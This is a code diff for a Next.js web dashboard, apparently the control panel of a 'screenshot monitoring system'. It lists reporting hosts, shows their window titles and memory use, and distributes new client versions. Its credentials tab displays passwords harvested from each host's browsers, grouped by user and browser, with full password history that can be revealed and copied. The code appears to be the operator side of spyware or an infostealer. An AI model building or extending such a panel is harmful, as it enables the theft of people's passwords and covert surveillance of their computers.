<div key={index} className="p-4 bg-white rounded-md shadow-sm">
<div className="space-y-2">
<div className="font-medium text-gray-900">
{window.title}
</div>
<div className="text-sm text-gray-500 break-all">
{window.path}
</div>
<div className="text-sm flex items-center text-gray-600">
内存占用: {formatMemory(window.memory)}
</div>
</div>
</div>
))}
</div>
</div>
</div>
</div>
)}
</div>
)}
{/* 凭据信息选项卡 */}
{activeTab === 'credentials' && (
<div className="bg-white rounded-lg shadow-sm p-6">
<div className="flex items-center justify-between mb-6">
<h2 className="text-xl font-medium text-gray-900">凭据信息</h2>
<div className="flex space-x-2">
<button
onClick={fetchCredentials}
className="px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none flex items-center"
>
<RefreshCcw className={`h-4 w-4 mr-1 ${loadingCredentials ? 'animate-spin' : ''}`} />
刷新
</button>
</div>
</div>
{/* 加载状态 */}
{loadingCredentials ? (
<div className="flex justify-center py-12">
<div className="animate-pulse flex flex-col items-center">
<Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
<p className="mt-2 text-gray-500">加载凭据信息...</p>
</div>
</div>
) : credentialsByUser.length === 0 ? (
<div className="py-12 flex flex-col items-center justify-center">
<ShieldAlert className="h-12 w-12 text-gray-400 mb-3" />
<p className="text-gray-500 mb-1">没有找到任何凭据信息</p>
<p className="text-sm text-gray-400">可能是该主机尚未上报凭据数据</p>
</div>
) : (
<div className="space-y-6">
{credentialsByUser.map((userGroup, index) => (
<div key={index} className="border border-gray-200 rounded-md overflow-hidden">
{/* 用户信息头部 */}
<div className="bg-gray-50 px-4 py-3">
<div className="flex items-center justify-between">
<div
className="flex items-center cursor-pointer"
onClick={() => toggleUserExpanded(userGroup.username)}
>
<User className="h-5 w-5 text-gray-500 mr-2" />
<h3 className="font-medium text-gray-900">{userGroup.username}</h3>
<div className="ml-3 text-sm text-gray-500">
({userGroup.browsers.length} 个浏览器, {userGroup.total} 个凭据)
</div>
<ChevronDown
className={`h-5 w-5 text-gray-500 ml-2 transition-transform duration-200 ${
expandedUsers.includes(userGroup.username) ? 'rotate-180' : ''
}`}
/>
</div>
{userGroup.lastSyncTime && (
<div className="text-xs text-gray-500">
最后同步: {formatDate(userGroup.lastSyncTime, 'short')}
</div>
)}
</div>
</div>
{/* 用户凭据内容 */}
{expandedUsers.includes(userGroup.username) && (
<div className="divide-y divide-gray-100">
{userGroup.browsers.map((browser) => (
<div
key={`${userGroup.username}-${browser.name}`}
className="px-4 py-3 hover:bg-gray-50"
>
{/* 浏览器标题 */}
<div
className="flex items-center mb-2 cursor-pointer"
onClick={() => toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)}
>
<div className="flex items-center">
<Globe className="h-4 w-4 text-gray-500 mr-2" />
<span className="font-medium text-gray-800">{browser.name}</span>
<span className="ml-2 text-sm text-gray-500">
({browser.credentials.length} 个站点)
</span>
</div>
<ChevronDown
className={`h-4 w-4 text-gray-500 ml-2 transition-transform duration-200 ${
expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) ? 'rotate-180' : ''
}`}
/>
</div>
{/* 浏览器凭据列表 */}
{expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) && (
<div className="pl-6 space-y-3 mt-2">
{browser.credentials.map((cred) => (
<div
key={`${userGroup.username}-${browser.name}-${cred._id}`}
className="border border-gray-200 rounded-md overflow-hidden"
>
{/* 凭据网站头部 */}
<div
className="bg-gray-50 px-3 py-2 flex items-center justify-between cursor-pointer"
onClick={() => toggleCredentialExpanded(cred._id)}
>
<div className="flex items-center">
<Link className="h-4 w-4 text-gray-500 mr-2" />
<div className="text-sm font-medium text-gray-900 truncate max-w-md">
{cred.url}
</div>
</div>
<ChevronDown
className={`h-4 w-4 text-gray-500 transition-transform duration-200 ${
expandedCredentials.includes(cred._id) ? 'rotate-180' : ''
}`}
/>
</div>
{/* 凭据详情 */}
{expandedCredentials.includes(cred._id) && (
<div className="bg-white px-3 py-2">
<div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
<div className="flex items-center">
<span className="text-sm text-gray-500 w-16">用户名:</span>
<span className="text-sm font-medium ml-2">{cred.login}</span>
</div>
<div className="flex flex-col">
<div className="flex items-center mb-1">
<span className="text-sm text-gray-500 w-16">密码历史:</span>
<span className="text-xs bg-gray-100 text-gray-600 rounded px-1">
{cred.passwords.length} 条记录
</span>
</div>
<div className="pl-6 space-y-2 mt-1">
{cred.passwords.map((pwd, pwdIndex) => (
<div
key={pwdIndex}
className="flex items-center group relative"
>
<span className="text-xs text-gray-400 w-24 flex-shrink-0">
{formatDate(pwd.timestamp, 'short')}
</span>
<div className="flex-1 flex items-center">
<span
className="text-sm font-mono bg-gray-50 px-2 py-0.5 rounded flex-1 cursor-pointer"
onClick={() =>
revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
? null
: revealPassword(`${cred._id}-${pwdIndex}`)
}
>
{revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
? pwd.value
: '••••••••'
}
</span>
<button
onClick={() => copyToClipboard(pwd.value)}
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 hover:text-gray-700"
>
<Clipboard className="h-4 w-4" />
</button>
</div>
</div>
))}
</div>
</div>
</div>
</div>
)}
</div>
))}
</div>
)}
</div>
))}
</div>
)}
</div>
))}
</div>
)}
</div>
)}
</div>
</div>
);
}

203
app/page.tsx
View File

@ -1,103 +1,116 @@
import Image from "next/image"; "use client";
import { useState, useEffect } from 'react';
import { useRouter } from 'next/navigation';
import { XCircle } from 'lucide-react';
import { format, differenceInMinutes } from 'date-fns';
interface Host {
hostname: string;
lastUpdate: string;
}
export default function Home() { export default function Home() {
return ( const router = useRouter();
<div className="grid grid-rows-[20px_1fr_20px] items-center justify-items-center min-h-screen p-8 pb-20 gap-16 sm:p-20 font-[family-name:var(--font-geist-sans)]"> const [hosts, setHosts] = useState<Host[]>([]);
<main className="flex flex-col gap-[32px] row-start-2 items-center sm:items-start"> const [loading, setLoading] = useState(true);
<Image const [error, setError] = useState<string | null>(null);
className="dark:invert"
src="/next.svg"
alt="Next.js logo"
width={180}
height={38}
priority
/>
<ol className="list-inside list-decimal text-sm/6 text-center sm:text-left font-[family-name:var(--font-geist-mono)]">
<li className="mb-2 tracking-[-.01em]">
Get started by editing{" "}
<code className="bg-black/[.05] dark:bg-white/[.06] px-1 py-0.5 rounded font-[family-name:var(--font-geist-mono)] font-semibold">
app/page.tsx
</code>
.
</li>
<li className="tracking-[-.01em]">
Save and see your changes instantly.
</li>
</ol>
<div className="flex gap-4 items-center flex-col sm:flex-row"> const fetchHosts = async () => {
<a try {
className="rounded-full border border-solid border-transparent transition-colors flex items-center justify-center bg-foreground text-background gap-2 hover:bg-[#383838] dark:hover:bg-[#ccc] font-medium text-sm sm:text-base h-10 sm:h-12 px-4 sm:px-5 sm:w-auto" setLoading(true);
href="https://vercel.com/new?utm_source=create-next-app&utm_medium=appdir-template-tw&utm_campaign=create-next-app" const response = await fetch('/api/hosts');
target="_blank" if (!response.ok) throw new Error('获取主机列表失败');
rel="noopener noreferrer" const data = await response.json();
setHosts(data);
} catch (err) {
setError(err instanceof Error ? err.message : '未知错误');
} finally {
setLoading(false);
}
};
const formatDate = (date: string) => {
return format(new Date(date), 'yyyy-MM-dd HH:mm:ss');
};
const isRecent = (date: string) => {
const diffMinutes = differenceInMinutes(new Date(), new Date(date));
return diffMinutes <= 60; // 1小时内
};
const navigateToHost = (hostname: string) => {
router.push(`/hosts/${hostname}`);
};
useEffect(() => {
fetchHosts();
}, []);
return (
<div className="min-h-screen bg-gray-50">
<div className="max-w-7xl mx-auto py-6 sm:px-6 lg:px-8">
<div className="px-4 py-6 sm:px-0">
<h1 className="text-3xl font-semibold text-gray-900 mb-8">屏幕截图监控系统</h1>
{/* 主机列表卡片网格 */}
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
{hosts.map((host) => (
<div
key={host.hostname}
className="bg-white shadow-sm rounded-lg overflow-hidden hover:shadow-md transition-shadow cursor-pointer"
onClick={() => navigateToHost(host.hostname)}
> >
<Image <div className="px-4 py-5 sm:p-6">
className="dark:invert" <div className="flex items-center justify-between">
src="/vercel.svg" <div>
alt="Vercel logomark" <h3 className="text-lg font-medium text-gray-900">
width={20} {host.hostname}
height={20} </h3>
/> <p className="mt-1 text-sm text-gray-500">
Deploy now 最后更新: {formatDate(host.lastUpdate)}
</a> </p>
<a </div>
className="rounded-full border border-solid border-black/[.08] dark:border-white/[.145] transition-colors flex items-center justify-center hover:bg-[#f2f2f2] dark:hover:bg-[#1a1a1a] hover:border-transparent font-medium text-sm sm:text-base h-10 sm:h-12 px-4 sm:px-5 w-full sm:w-auto md:w-[158px]" <div className="flex items-center">
href="https://nextjs.org/docs?utm_source=create-next-app&utm_medium=appdir-template-tw&utm_campaign=create-next-app" <div
target="_blank" className={`h-3 w-3 rounded-full ${
rel="noopener noreferrer" isRecent(host.lastUpdate) ? 'bg-green-500' : 'bg-gray-300'
> }`}
Read our docs ></div>
</a> </div>
</div>
</div>
</div>
))}
</div>
{/* 加载状态 */}
{loading && (
<div className="flex justify-center items-center mt-8">
<div className="animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900"></div>
</div>
)}
{/* 错误提示 */}
{error && (
<div className="mt-8 bg-red-50 p-4 rounded-md">
<div className="flex">
<div className="flex-shrink-0">
<XCircle className="h-5 w-5 text-red-400" />
</div>
<div className="ml-3">
<h3 className="text-sm font-medium text-red-800">
加载失败
</h3>
<div className="mt-2 text-sm text-red-700">
<p>{error}</p>
</div>
</div>
</div>
</div>
)}
</div>
</div> </div>
</main>
<footer className="row-start-3 flex gap-[24px] flex-wrap items-center justify-center">
<a
className="flex items-center gap-2 hover:underline hover:underline-offset-4"
href="https://nextjs.org/learn?utm_source=create-next-app&utm_medium=appdir-template-tw&utm_campaign=create-next-app"
target="_blank"
rel="noopener noreferrer"
>
<Image
aria-hidden
src="/file.svg"
alt="File icon"
width={16}
height={16}
/>
Learn
</a>
<a
className="flex items-center gap-2 hover:underline hover:underline-offset-4"
href="https://vercel.com/templates?framework=next.js&utm_source=create-next-app&utm_medium=appdir-template-tw&utm_campaign=create-next-app"
target="_blank"
rel="noopener noreferrer"
>
<Image
aria-hidden
src="/window.svg"
alt="Window icon"
width={16}
height={16}
/>
Examples
</a>
<a
className="flex items-center gap-2 hover:underline hover:underline-offset-4"
href="https://nextjs.org?utm_source=create-next-app&utm_medium=appdir-template-tw&utm_campaign=create-next-app"
target="_blank"
rel="noopener noreferrer"
>
<Image
aria-hidden
src="/globe.svg"
alt="Globe icon"
width={16}
height={16}
/>
Go to nextjs.org →
</a>
</footer>
</div> </div>
); );
} }

229
app/upload/page.tsx Normal file
View File

@ -0,0 +1,229 @@
'use client'
import React, { useState, useEffect, useCallback } from 'react'
interface VersionInfo {
version: string
download_url: string
checksum: string
}
export default function UploadPage() {
const [currentVersion, setCurrentVersion] = useState<VersionInfo | null>(null)
const [newVersion, setNewVersion] = useState('')
const [versionFile, setVersionFile] = useState<File | null>(null)
const [versionFileHash, setVersionFileHash] = useState('')
const [isUploading, setIsUploading] = useState(false)
const [uploadError, setUploadError] = useState('')
const [uploadSuccess, setUploadSuccess] = useState(false)
const canUploadVersion = newVersion && versionFile && !isUploading
// 计算文件 SHA-256
const calculateSha256 = async (file: File): Promise<string> => {
const buffer = await file.arrayBuffer()
const hashBuffer = await crypto.subtle.digest('SHA-256', buffer)
const hashArray = Array.from(new Uint8Array(hashBuffer))
return hashArray.map(b => b.toString(16).padStart(2, '0')).join('')
}
// 获取当前版本信息
const fetchCurrentVersion = useCallback(async () => {
try {
const response = await fetch('/api/api/version')
if (response.ok) {
const data: VersionInfo = await response.json()
setCurrentVersion(data)
}
} catch (err) {
console.error('获取版本信息失败:', err)
}
}, [])
// 处理版本文件选择
const handleVersionFileChange = async (event: React.ChangeEvent<HTMLInputElement>) => {
const input = event.target
if (input.files && input.files[0]) {
const file = input.files[0]
setVersionFile(file)
setVersionFileHash(await calculateSha256(file))
}
}
// 清除表单
const resetForm = () => {
setNewVersion('')
setVersionFile(null)
setVersionFileHash('')
setUploadError('')
}
// 上传新版本
const uploadVersion = async () => {
if (!versionFile || !newVersion) return
setIsUploading(true)
setUploadError('')
setUploadSuccess(false)
const formData = new FormData()
formData.append('file', versionFile)
formData.append('version', newVersion)
try {
const response = await fetch('/api/upload/version', {
method: 'POST',
body: formData
})
if (!response.ok) {
throw new Error('Upload failed')
}
await fetchCurrentVersion()
setUploadSuccess(true)
resetForm()
setTimeout(() => {
setUploadSuccess(false)
}, 3000)
} catch (err) {
console.error('上传失败:', err)
setUploadError('上传失败，请重试')
} finally {
setIsUploading(false)
}
}
useEffect(() => {
fetchCurrentVersion()
}, [fetchCurrentVersion])
return (
<div className="max-w-3xl mx-auto p-6">
<h1 className="text-3xl font-bold text-gray-800 mb-8">软件版本管理</h1>
{/* 当前版本信息卡片 */}
<div className="bg-white rounded-lg shadow-md mb-8 overflow-hidden">
<div className="bg-gray-50 px-6 py-4 border-b">
<h2 className="text-xl font-semibold text-gray-700">当前版本信息</h2>
</div>
<div className="p-6">
{currentVersion ? (
<div className="space-y-3">
<div className="grid grid-cols-12 gap-4 items-center">
<span className="text-gray-600 col-span-2">版本号:</span>
<span className="font-medium text-gray-800 col-span-10">{currentVersion.version}</span>
</div>
<div className="grid grid-cols-12 gap-4 items-center">
<span className="text-gray-600 col-span-2">下载地址:</span>
<a
href={currentVersion.download_url}
className="text-blue-600 hover:text-blue-800 break-all col-span-10"
>
{currentVersion.download_url}
</a>
</div>
<div className="grid grid-cols-12 gap-4 items-center">
<span className="text-gray-600 col-span-2">校验和:</span>
<span className="font-mono text-sm text-gray-700 break-all col-span-10">
{currentVersion.checksum}
</span>
</div>
</div>
) : (
<div className="text-gray-500 italic">暂无版本信息</div>
)}
</div>
</div>
{/* 上传新版本表单 */}
<div className="bg-white rounded-lg shadow-md">
<div className="bg-gray-50 px-6 py-4 border-b">
<h2 className="text-xl font-semibold text-gray-700">上传新版本</h2>
</div>
<div className="p-6 space-y-6">
{/* 版本号输入 */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-2">
版本号
</label>
<input
value={newVersion}
onChange={(e) => setNewVersion(e.target.value)}
type="text"
className="w-full px-4 py-2 border rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition"
placeholder="例如: 1.0.0"
/>
</div>
{/* 文件上传 */}
<div>
<label className="block text-sm font-medium text-gray-700 mb-2">
选择文件
</label>
<div className="mt-1">
<div className="border-2 border-dashed border-gray-300 rounded-lg px-6 py-8">
<div className="text-center">
<input
type="file"
onChange={handleVersionFileChange}
className="hidden"
id="file-upload"
/>
<label
htmlFor="file-upload"
className="cursor-pointer inline-flex items-center px-4 py-2 border border-transparent text-sm font-medium rounded-md text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500"
>
选择文件
</label>
<p className="mt-2 text-sm text-gray-600">
{versionFile?.name || '未选择文件'}
</p>
</div>
{versionFileHash && (
<div className="mt-4 text-center">
<p className="text-xs text-gray-500">SHA-256 校验和:</p>
<p className="font-mono text-xs text-gray-600 break-all">
{versionFileHash}
</p>
</div>
)}
</div>
</div>
</div>
{/* 错误提示 */}
{uploadError && (
<div className="text-red-600 text-sm">
{uploadError}
</div>
)}
{/* 成功提示 */}
{uploadSuccess && (
<div className="bg-green-50 text-green-800 px-4 py-2 rounded-md text-sm">
上传成功！
</div>
)}
{/* 提交按钮 */}
<div className="flex justify-end">
<button
onClick={uploadVersion}
disabled={!canUploadVersion}
className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 disabled:cursor-not-allowed transition-colors"
>
{isUploading && (
<svg className="animate-spin -ml-1 mr-3 h-5 w-5 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
<circle className="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" strokeWidth="4"></circle>
<path className="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
</svg>
)}
{isUploading ? '上传中...' : '上传新版本'}
</button>
</div>
</div>
</div>
</div>
)
}

6
bun.lock
View File

@ -11,6 +11,8 @@
"@types/multer": "^1.4.13", "@types/multer": "^1.4.13",
"bcryptjs": "^3.0.2", "bcryptjs": "^3.0.2",
"cors": "^2.8.5", "cors": "^2.8.5",
"date-fns": "^4.1.0",
"lucide-react": "^0.525.0",
"minio": "^8.0.5", "minio": "^8.0.5",
"multer": "^2.0.1", "multer": "^2.0.1",
"next": "15.3.4", "next": "15.3.4",
@ -235,6 +237,8 @@
"csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="], "csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="],
"date-fns": ["date-fns@4.1.0", "", {}, "sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg=="],
"decode-uri-component": ["decode-uri-component@0.2.2", "", {}, "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ=="], "decode-uri-component": ["decode-uri-component@0.2.2", "", {}, "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ=="],
"define-data-property": ["define-data-property@1.1.4", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "gopd": "^1.0.1" } }, "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A=="], "define-data-property": ["define-data-property@1.1.4", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "gopd": "^1.0.1" } }, "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A=="],
@ -319,6 +323,8 @@
"lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
"lucide-react": ["lucide-react@0.525.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Tm1txJ2OkymCGkvwoHt33Y2JpN5xucVq1slHcgE6Lk0WjDfjgKWor5CdVER8U6DvcfMwh4M8XxmpTiyzfmfDYQ=="],
"magic-string": ["magic-string@0.30.17", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0" } }, "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA=="], "magic-string": ["magic-string@0.30.17", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0" } }, "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA=="],
"math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="], "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="],

2
package.json
View File

@ -20,6 +20,8 @@
"@types/multer": "^1.4.13", "@types/multer": "^1.4.13",
"bcryptjs": "^3.0.2", "bcryptjs": "^3.0.2",
"cors": "^2.8.5", "cors": "^2.8.5",
"date-fns": "^4.1.0",
"lucide-react": "^0.525.0",
"minio": "^8.0.5", "minio": "^8.0.5",
"multer": "^2.0.1", "multer": "^2.0.1",
"next": "15.3.4", "next": "15.3.4",